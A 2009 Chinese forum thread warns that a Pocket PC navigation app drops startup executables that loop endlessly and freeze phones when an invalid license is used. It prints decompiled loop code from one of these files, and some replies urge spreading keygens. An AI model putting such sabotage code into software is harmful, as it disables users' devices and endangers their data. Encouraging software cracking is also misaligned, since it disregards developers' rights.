[防杀病毒] [HTC P3600/D810/CHT9100] 大家慎用Google Navigator软件（2009-07-17 19:00更新）

鬼魅

经过分析后发现这个软件超级恶心，一不小心就会把你手机弄死，如果采用XX版或XX不完全，就算是正式算号出来，程序也会去官方网站验证。然后你就等着CPU 100%,重启几十分钟见不到桌面吧。只想说垃圾中的垃圾。。大家都来玩吧，下面是程序的检查授权文件的代码，反过来。。。。呵呵


一个导航软件，有什么必要必须释放一个启动程序到开始菜单里去？就算用D版不厚道，软件自毁或不工作也就罢了。搞死机这么愚蠢的做法，我用了好多年PPC，似乎这是第一次碰到。



请看图，只要不是250，都可以看出作者有多恶心，软件有多垃圾。你看他在开始菜单里放了多少东西。
----------------------------------------------------------------------

继续分析中，不断更新最新情况说明：

只要你新安装完成后，第一次启动，如果没注册，会出现一个注册注册画面让你选择注册文件，这时你选择以前那个XX版本的注册文件（就是5.0XX版里面的那个RegisterFile.ges），按正常情况应该提示你机器码与授权不对，但程序直接没有任何提示就把这个文件删除了，并且无法退出。开始作怪了。这时候手机已经中招，虽然比较慢，但还是可以切换出去，你再进windows\startup目录看看，是不是下面6个4KB的文件。

ceman.exe
killrun.exe
poman.exe
runGNAngent.exe
SMSAngent.exe
tokce.exe

如果没有选择有问题的注册文件或不注册，只会释放一个文件，那就是runGNAngent.exe

------------------------------------下面放证据了-------------------------------------------




看清楚代码了，如果编码是GB2312，就放出这些恶心的东西。

事件说明：

我与软件作者无怨无仇，昨天晚上心情不太好，上口袋来逛逛，看看有什么好玩的软件能开心一下。刚好看到pdafannicenice有发5.2的新版，因为之前有用过论坛里发的5.0 XX版的，感觉挺不错，不过后来发现程序自动去官方检测后就失效了。但并无什么副作用，于是把最新版的5.2下载回来，把老的注册文件复制过去想看看能不能用（虽然明知道不可以，因为主程序没有被XX过），也就是好奇而已，反正也没副作用。结果安装完手机立马搞死掉（我的系统非常稳定），重启发现进不了桌面了，回想起不知道在哪看到有说起5.1的版本被不良人绑了东西（当时还没想到是作者搞的，只当是别有用心的人干的），所以以为是pdafannicenice故意发绑了恶意软件的版本，于在是他贴里留言，有些粗口，就下了。后来看到pdafannicenice回话后，才觉得事有蹊跷，不像是pdafannicenice所为。于是从官网上重新下载，发现和pdafannicenice发布的是一样的MD5，这时我才知道是作者在损人了。才有了这个贴，很气愤，用D版是不对，但软件作者如此损招确实让人火冒三仗，我的手机系统一年都难得死一两次机，这次差点把我400多个联系人搞丢，幸好我备份及时（发现不正常后马上用数据线同步把pim.vol文件备份出来了，这时候还没重启，虽然慢，但试了N次后总算复制成功）。气愤之下，才有此贴！！！用以提醒口袋的用户慎重对待该软件，同时对作者的龌龊行为表示谴责与抗议！

2009-07-17 18：37

有些垃圾在贴里对我人身进行攻击，说我是因为XX才导致受害，首先要搞清楚，我有XX软件么？我是用原版5.2的程序，未作任何修改，注册的时候用老版本的授权文件，我不知道那傻冒懂不懂XX，这个授权文件是标准的作者放出来的正式授权，本身并不需要做任何修改（就算有修改也不是我改的），是因为主程序被XX了才导致授权可用。那么我在没有对任何程序进行修改的时候，选择老的注册文件去试注册有何不妥？有XX或反编译么？有违反软件开发的哪一项保护条例，你告诉我！充其量算测试，如果因为这样测试（未修改任何原版程序）就导致系统被搞死，老子还没骂人呢，你傻B就开始大放阙词了！我不管作者是好是坏，还是被逼无奈，对于用户没有对程序进行任何修改与逆向的行为就采取破坏用户系统如此龌龊的损招，你是脑子有问题还是法盲？如果某些人要和我较劲，老子奉陪到底。



上面附件是6个释放的文件，欢迎大家分析。

其中的killrun.exe内容如下：

private: static void __gc* Main(String __gc* args __gc [])
{
    Boolean __gc* flag;
    Byte __gc* deviceID __gc [] = Program::GetDeviceID(S"fucklaogou");
    Byte __gc* buffer2 __gc [] = __gc new Byte __gc*[20] {
        0x41, 10, 11, 0x22, 0x42, 0x69, 0xa1, 0x7e, 0xce, 0x69, 0x38, 0x33, 14, 14, 0xf5, 0x12, 0x26, 0x2d, 0xe5, 0xf7};
    if (deviceID->Length != buffer2->Length)
    {
        while (true)
        {
            flag = true;
        }
    }
    for (Int32 __gc* i = 0; (i < deviceID->Length); i++)
    {
        if (deviceID != buffer2)
        {
            while (true)
            {
                flag = true;
            }
        }
    }
}

经过分析，放出来的6个文件，除了RunGNAngent.exe没有恶意代码外，其余5个全是Niceapp.exe，5个程序执行死循环，不怕慢不死你，呵呵。

rapbbit

呵呵 据我所知 恶意代码只专门针对中国人的 这软件在国外还非常流行 google Navigator在pockergear同类还排在top1 seller位置  管你呢

鬼魅

专们针对中国人是吧？在国外他敢做这么恶心的动作么？看赔不死他，没把咱中国人放眼里？那OK，让他KEYGEN满天飞，死垃圾。

rapbbit

作者明显就是没吧中国人放在眼内吧  哎 人家中文版也懒出  现在更离普 连用也不给用了 反正在中国没钱攒 给你用干什么  支持楼上把keygen挖出来  呵呵

ligengying

从来不用垃圾！

闽南鱼

lk007

没用过………………这是做啥的软件…………

twfx

这个软件的5.1版有一个文件安装在startup目录，导致cpu占用100%，不过5.2版已经没有这个问题了。

另外，其实这个软件的作者是送注册文件给中国用户的。只是后来被某一国人为显摆xx后，不再送了。  程序的代码应该是针对所有未注册用户的，不过确实比较恶意。

鬼魅

这个软件的5.1版有一个文件安装在startup目录，导致cpu占用100%，不过5.2版已经没有这个问题了。
twfx 发表于 2009-7-16 17:47

这个截图就是目前最新的5.2的版本，更毒了：
ceman.exe
killrun.exe
poman.exe
runGNAngent.exe
SMSAngent.exe
tokce.exe

看到没？他NND，释放6个文件，就怕搞不死你。

taurusqh

我看是楼主装的版本有病毒吧，我装的都没有这么多放到startup里面。
只有一个GNAgent，也可以从设置中去掉。